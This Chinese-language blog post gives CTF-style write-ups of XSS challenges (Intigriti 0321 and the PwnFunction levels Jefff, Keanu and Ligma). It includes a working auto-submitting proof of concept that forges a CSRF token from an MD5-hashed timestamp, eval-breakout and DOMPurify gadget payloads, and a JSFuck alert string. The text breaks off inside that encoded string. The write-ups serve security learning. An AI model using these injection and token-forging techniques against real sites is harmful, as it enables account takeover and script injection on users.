Bootstrap

2024全网最全面及最新且最为详细的网络安全技巧 七之 XSS漏洞典例分析POC以及 如何防御和修复[含JAVASCRIPT和HTML代码层面分析,代码都进行了详细的注释](3)———— 作者:LJS

     7.6 Intigriti XSS 系列挑战 Writeups(续)

  • 目录

         7.6 Intigriti XSS 系列挑战 Writeups(续)

    7.6.4 xss challenge 0321

    思路分析

    POC

    7.7 Jefff

    永远不要使用 eval

    7.8 Keanu

    首先我们来看我们的可控点

    number标签被写入内容

    7.9 Ligma

    7.10 Ma Spaghet!

    InnerHtml

    安全问题

  • 7.6.4 xss challenge 0321

  • 地址: https://challenge-0321.intigriti.io/,有如下要求:
  • 使用最新版的Firefox或者Chrome浏览器

  • 通过alert()弹出 flag{THIS_IS_THE_FLAG}

  • 利用此页面的xss漏洞

  • 不允许self-XSS 和 MiTM 攻击

  • 思路分析

  • 查看网页源码,view-source:https://challenge-0321.intigriti.io/,无法访问:
  • img

  • 不过用Devtools可以查看,通过对网页功能进行简要测试,发现在输入框中,可以输入和保存notes,输入也是实时更新在html页面中,同时带有特定的CSRF值:
  • img

  • 因为contenteditable属性允许用户直接修改html中的元素内容,详见:HTML Standard
  • 此外,经过大量的字符测试,发现网页有一个特殊的特性。例如我们输ftp://attack.com或者http://attack.com这类带有协议名的特殊输入并保存,网页会生成一个特定的<a ...>标签
  • img

  • img

  • 这样我们便有了一个可控的标签,输入一些特殊字符尝试构造闭合,发现网页对' "等特殊字符进行了过滤,进行了截断,无法与包含协议名的payload构造为一个整体形成构造闭合:
  • img

  • 通过将更改POST数据中csrf notes的类型(加上[] ,这是曾经做CTF题型时学习到的一个思路),可以看到一些有趣的信息:
  • img

  • img

  • 这里发现对于notes的输入是由PHPhtmlspecialchars()过滤的,这里查询了相关资料,并进行了字符集的测试,发现了类似于邮箱的地址[email protected]可以被成功输入,并且也能使网页自动添加<a ...>
  • img

  • 通过RFC2822 可以知道,邮箱名中可以包含很多特殊的字符,例如"xss"@attack.com依然可以被认定为一个合法的邮箱地址,并能够构造闭合,让我们控制标签内容:
  • img

  • 构造payload:"onclick=alert(1);"@attack.com,即可实现self-xss:
  • <input type="hidden" name="csrf" value="f20927170100763667bf20d684f36515"/>
    ...
    
    ...
    <!-- page generated at 2021-04-21 13:43:41 -->
  • 由于题目不允许self-xss,所以我们需要从绕过csrf的角度入手,实现无需交互的xss。如果csrf令牌不正确,则会显示403:
  • img

  • 我们知道csrf令牌都是动态生成的,通常情况下该令牌可以由时间戳的加密哈希或者一些随机输入的加密哈希生成。这里我们坚持页面源码注意到包含页面的生成时间
  • <input type="hidden" name="csrf" value="f20927170100763667bf20d684f36515"/>
    ...
    
    ...
    <!-- page generated at 2021-04-21 13:43:41 -->
  • 经过测试将日期转为时间戳并通过MD5加密,得到了相同的结果,由此,便可以绕过csrf的限制:
  • img

  • 现在,我们需要能够进行MD5加密的JS,可以从以下地址获得:
  • # CryptoJS.MD5()
    
    https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.9-1/core.js
    https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.9-1/md5.js
  • 为了保证我们生成的csrf令牌与网页自动生成的一直,需要查看攻击服务器的时间戳与题目网页时间戳之间的误差:
  • img

  • 可以看到两个时间戳之间存在8小时时差,通过调整,可以使攻击服务器生成了csrf令牌与网页生成的令牌一致:
  • img

  • POC

  • 综合上面的思路,可以构造以下poc:
  • <html>
    <head>
        <title>xss</title>
    </head>
    <body>
        <!-- 在页面中嵌入一个 iframe,指向 https://challenge-0321.intigriti.io/ -->
        <iframe src="https://challenge-0321.intigriti.io/" width="1000" height="1000"></iframe>
        
        <!-- 引入 CryptoJS 库,用于计算时间戳的 MD5 哈希 -->
        <script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.9-1/core.js"></script>
        <script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.9-1/md5.js"></script>
        
        <!-- 创建一个表单,用于提交攻击所需的数据到 https://challenge-0321.intigriti.io/ -->
        <form method="POST" action="https://challenge-0321.intigriti.io/" id="send">
            <!-- CSRF token 字段 -->
            <input type="hidden" name="csrf" id="csrf" value="">
            <!-- 攻击载荷,这里的 payload 字段将被注入 XSS 攻击代码 -->
            <input type="hidden" id="payload" name="notes" value="">
        </form>
        
        <script>
            // 获取当前时间戳(毫秒级)
            var ts0 = Date.parse(new Date());
            // 将时间戳转换为字符串并截取前10位(秒级时间戳)
            var ts1 = String(ts0).substring(0,10);
            // 计算时间戳的 MD5 哈希
            var passhash = CryptoJS.MD5(ts1).toString();
            
            // 格式化时间戳为特定格式的日期时间字符串
            function add0(m){return m<10?'0'+m:m }
            function format(date){
              var time = new Date(date);
              var y = time.getFullYear();
              var m = time.getMonth()+1;
              var d = time.getDate();
              var h = time.getHours()-8; // 减去8小时,可能是为了时区调整
              var mm = time.getMinutes();
              var s = time.getSeconds();
              dd = y+'-'+add0(m)+'-'+add0(d)+' '+add0(h)+':'+add0(mm)+':'+add0(s);
              return dd;
            }
            
            // 打印格式化后的时间戳、原始时间戳、截取的时间戳和计算得到的哈希
            console.log(format(ts0));
            console.log(ts0);
            console.log(ts1);
            console.log(passhash); 
            
            // 设置一个定时器,延迟100毫秒后执行 XSS 攻击函数 xss()
            setTimeout(xss, 100);
            
            // XSS 攻击函数,设置表单中的值并自动提交表单
            function xss(){
              document.getElementById("csrf").value = passhash; // 将计算得到的哈希赋值给 CSRF 字段
              // 设置攻击载荷,这里注入一个含有 XSS 代码的字符串
              document.getElementById("payload").value = "\"onmouseover=alert('flag{THIS_IS_THE_FLAG}');\"@attack.com";
              // 提交表单,触发攻击
              document.getElementById("send").submit();
            }
        </script>
    </body>
    </html>
    
  • img

 

  • 7.7 Jefff

  •  Difficulty is Easy.
  • Pop an alert(1337) on sandbox.pwnfunction.com.
  • No user interaction.
  • Cannot use https://sandbox.pwnfunction.com/?html=&js=&css=.
  • Tested on Chrome.
  • <h2 id="maname"></h2>
    <script>
        let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")
        let ma = ""
        eval(`ma = "Ma name ${jeff}"`)
        setTimeout(_ => {
            maname.innerText = ma
        }, 1000)
    </script>
  • 我们直接分析上述代码,和上一个游戏一样,还是有一个jeff参数,但是这次多了一个eval函数,这个函数究竟起到什么作用了呢,我们依然看官方文档。
  • **eval()** 函数会将传入的字符串当做 JavaScript 代码进行执行。
  • console.log(eval('2 + 2'));
    // expected output: 4
    
    console.log(eval(new String('2 + 2')));
    // expected output: 2 + 2
    
    console.log(eval('2 + 2') === eval('4'));
    // expected output: true
    
    console.log(eval('2 + 2') === eval(new String('2 + 2')));
  • 永远不要使用 eval

  • eval() 是一个危险的函数, 它使用与调用者相同的权限执行代码。
    如果你用 eval() 运行的字符串代码被恶意方(不怀好意的人)修改,
    您最终可能会在您的网页/扩展程序的权限下,在用户计算机上运行恶意代码。
    更重要的是,第三方代码可以看到某一个 eval() 被调用时的作用域,
    这也有可能导致一些不同方式的攻击。相似的 Function 就不容易被攻击。
  • function looseJsonParse(obj){
        return eval("(" + obj + ")");
    }
    console.log(looseJsonParse(
       "{a:(4-1), b:function(){}, c:new Date()}"
    ))
    不好的写法
  • function looseJsonParse(obj){
        return Function('"use strict";return (' + obj + ')')();
    }
    console.log(looseJsonParse(
       "{a:(4-1), b:function(){}, c:new Date()}"
    ))
    好的写法
  • 比较上面的两个代码片段,两个代码片段似乎是以相同的方式工作,但再想一想:eval的这个代码的速度要慢得多。 注意c: new Date()在执行体中。 在没有eval的函数中,对象在全局范围内被用来进行计算,因此浏览器可以放心的假设Date是来自window.Date的而不是一个名为Date的局部变量。 然而,在使用eval()的代码中,浏览器不能假设这一点,因为如果您的代码是下面这个
  • function Date(n){
        return ["Monday","Tuesday","Wednesday","Thursday","Friday","Saturday","Sunday"][n%7 || 0];
    }
    function looseJsonParse(obj){
        return eval("(" + obj + ")");
    }
    console.log(looseJsonParse(
       "{a:(4-1), b:function(){}, c:new Date()}"
    ))
  • 因此,在eval()版本的代码中,浏览器被迫进行高代价的查找调用以检查是否存在名为Date()的任何局部变量。 与Function()相比,这是非常低效的。
  • 在类似的情况下,如果您确实希望能够从Function()内部的代码调用Date函数,该怎么办? 你应该躲避并退回到eval()吗? 绝对不是,永远不要这么做。 而是尝试下面的方法。
  • function Date(n){
        return ["Monday","Tuesday","Wednesday","Thursday","Friday","Saturday","Sunday"][n%7 || 0];
    }
    function runCodeWithDateFunction(obj){
        return Function('"use strict";return (' + obj + ')')()(
            Date
        );
    }
    console.log(runCodeWithDateFunction(
       "function(Date){ return Date(5) }"
    ))
  • 由于三重嵌套函数,上面的代码似乎效率低下,但让我们分析一下上述有效方法的好处:
  • 1.它使得传递给runCodeWithDateFunction的字符串中的代码更少。
  • 2.函数调用开销很小,使得代码尺寸小得多,值得获益
  • 3. Function()更容易让你的代码利用特性修饰"use strict";
  • 4.代码不使用eval(),使其比其他方式快几个数量级。
  • 最后,我们来看看简化版。 使用如上所示的Function(),您可以更有效地缩小传递给runCodeWithDateFunction的代码字符串,因为函数参数名称也可以缩小,如下面的缩小代码所示。
  • console.log(Function('"use strict";return(function(a){return a(5)})')()(function(a){
    return"Monday Tuesday Wednesday Thursday Friday Saturday Sunday".split(" ")[a%7||0]}));
  • 题目解法
    jeff=1";alert(1);//
    官方解法
    jeff="-alert(1)-"
    在js中-两边都是表达式,则可以执行代码

  • 7.8 Keanu

  • 先分析代码
  • <!-- Challenge -->
    <number id="number" style="display:none"></number> <!-- 隐藏的数字元素,用于显示数字 -->
    <div class="alert alert-primary" role="alert" id="welcome"></div> <!-- 显示欢迎消息的警告框 -->
    
    <button id="keanu" class="btn btn-primary btn-sm" 
        data-toggle="popover" 
        data-content="DM @PwnFunction" 
        data-trigger="hover" 
        onclick="alert(`If you solved it, DM me @PwnFunction :)`)">
        Solved it?
    </button> <!-- 按钮,用于提示解决了挑战的消息,同时在鼠标悬停时显示 popover 提示框 -->
    
    <script>
        /* Input */
        // 从 URL 查询参数中获取数字(默认为 "7")和名字,使用 DOMPurify 进行安全处理
        var number = (new URL(location).searchParams.get('number') || "7")[0],
            name = DOMPurify.sanitize(new URL(location).searchParams.get('name'), { SAFE_FOR_JQUERY: true });
        
        // 将获取的数字显示在页面上
        $('number#number').html(number);
        
        // 显示欢迎消息,如果没有提供名字则默认为 "Mr. Wick"
        $('#welcome').html(`Welcome <b>${name || "Mr. Wick"}!</b>`);
    
        /* Greet */
        // 当页面加载后,显示按钮上的 popover 提示框
        $('#keanu').popover('show');
        
        // 2秒后隐藏按钮上的 popover 提示框
        setTimeout(_ => {
            $('#keanu').popover('hide');
        }, 2000);
    
        /* Check Magic Number */
        // 生成一个随机的魔术数字(0到9之间)
        var magicNumber = Math.floor(Math.random() * 10);
        // 从页面上获取显示的数字并计算其值
        var number = eval($('number#number').html());
        
        // 检查魔术数字是否等于页面上显示的数字
        if (magicNumber === number) {
            alert("You're Breathtaking!"); // 如果相等,弹出消息
        }
    </script>
    
  • 本题题目引入了四个 js 文件:
  • !-- DOMPurify(2.0.7) -->
        <script src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/2.0.7/purify.min.js"
            integrity="sha256-iO9yO1Iy0P2hJNUeAvUQR2ielSsGJ4rOvK+EQUXxb6E=" crossorigin="anonymous"></script>
        <!-- Jquery(3.4.1), Popper(1.16.0), Bootstrap(4.4.1) -->
        <script src="https://code.jquery.com/jquery-3.4.1.slim.min.js"
            integrity="sha384-J6qa4849blE2+poT4WnyKhv5vZF5SrPo0iEjwBvKU7imGFAV0wwj1yYfoRSJoZ+n"
            crossorigin="anonymous"></script>
        <script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/umd/popper.min.js"
            integrity="sha384-Q6E9RHvbIyZFJoft+2mJbHaEWldlvI9IOYy5n3zV9zzTtmI3UksdQRVvoxMfooAo"
            crossorigin="anonymous"></script>
        <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/js/bootstrap.min.js"
            integrity="sha384-wfSDF2E50Y2D1uUdj0O3uMBJnjuUD4Ih7YwaYd1iqfktj0Uod8GCExl3Og8ifwB6"
            crossorigin="anonymous"></script>
  • 这个题目也比较有意思,额外给我们增加的这几个 js 文件,也就是说这几个文件就是这道题我们可能需要用的工具了。
  • Purify.js 是一个 XSS WAF,Popper.js是一个用于构造提示的组件,题目中也给了一个简单的使用 popper 的例子,Jqeury.js 与 Bootstrap 就不多说了。
  • 首先我们来看我们的可控点

  • 一个是 name 参数,另一个是 number 参数。然而 number 参数我们却只能使用一位,而 name 参数虽然任意长度可控,但是要经过 XSS WAF 过滤。虽然之前有一些利用 mxss bypass Domprify 的事例,但是都是在 2.0 左右的版本,这里的 2.0.7 又是最新的版本,应该不会是什么新的绕过,否则 number 参数与最后的 eval($(“number#number”).html()); 就没用了,并且还有一些其他工具我们没有用上。
  • 所以我们应该能用到的就是通过最后一个eval($(“number#number”).html())进行 XSS ,而 number 我们可控的只有一位,我们可能得想一些其他办法添加 number 标签当中的内容。
  • 我们可以看到 popper document 结合题目给出的那个例子,我们可以发现貌似这个 popper.js 可以满足我们添加新内容条件,而在文档 options 部分,我们可以到有一些我们值得关注的参数:
  • 从文档知道,我们可以通过data-container来控制 popover 的位置,data-content来控制内容,于是我们是不是可以有一个想法把这个 popover 弄到 number 标签当中呢?于是我们可以尝试构造如下 payload :  
  • <button id="keanu" data-toggle="popover" data-container="#number" data-content="hello">
  • 利用题目中原有的$(“#keanu”).popover(“show”);来触发我们的 popover ,我们暂且先注释掉题目当中的延迟关闭的功能以便于我们观察。
  • 7<div class="popover fade bs-popover-right show" role="tooltip" id="popover238474" x-placement="right" style="position: absolute;">
    <div class="arrow"></div><h3 class="popover-header">
    </h3><div class="popover-body">hello</div>
    </div>
  •  
  • number标签被写入内容

  • 我们这样我们简化一下这个内容:7<template>hello</template>,我们可控的地方就是 7 与 hello ,<template>就是 popper.js 实现的 popover 功能的代码,这个我们不需要关注,所以这样问题就变成了如何在$str=”$1<template>$any</template>”;eval($str);当中执行代码的问题了。
  • 到这里其实答案已经呼之欲出了,既然是在eval当中,我们可以利用第一位为单引号,由于中间$any我们任意可控,后面再用一个单引号将<template>变成字符串,//注释掉后面的</template>即可,整个 payload 即是'<tamplate>’;alert();//</tamplate>。
  • 所以我们需要这么构造一个元素:
  • <button id="keanu" data-toggle="popover" data-container="#number" data-content="';alert(1);//">
  • 即可实现 XSS,所以 payload:
  • number='&name=<button id%3D"keanu" data-toggle%3D"popover" data-container%3D"%23number" data-content%3D"'%3Balert(1)%3B%2F%2F">

  • 7.9 Ligma

  • balls = (new URL(location).searchParams.get('balls') || "Ninja has Ligma")
    balls = balls.replace(/[A-Za-z0-9]/g, '')
    eval(balls)
  • 代码非常简单,大A到大Z,小A到小Z,0-9不能使用,明显无法使用编码,那么我们如何去绕过此关呢?
  • 非常简单的一个绕过方式:
  • jsfuck网站加密
    [][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][[]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[!+[]+!+[]+[!+[]+!+[]]]+[+!+[]]+([+[]]+![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[!+[]+!+[]+[+[]]])
    以上内容为alert(1)
    这样直接写,是否可以,仔细想想
  • 这样无法被url解析,我们需要改为urlcode编码方式
  • %5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D%5B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D((!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%2B%5B!%5B%5D%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B!%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(%2B(!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B%5B%2B!%2B%5B%5D%5D))%5B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%2B%5B%5D)%5B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D%5B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B((%2B%5B%5D)%5B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%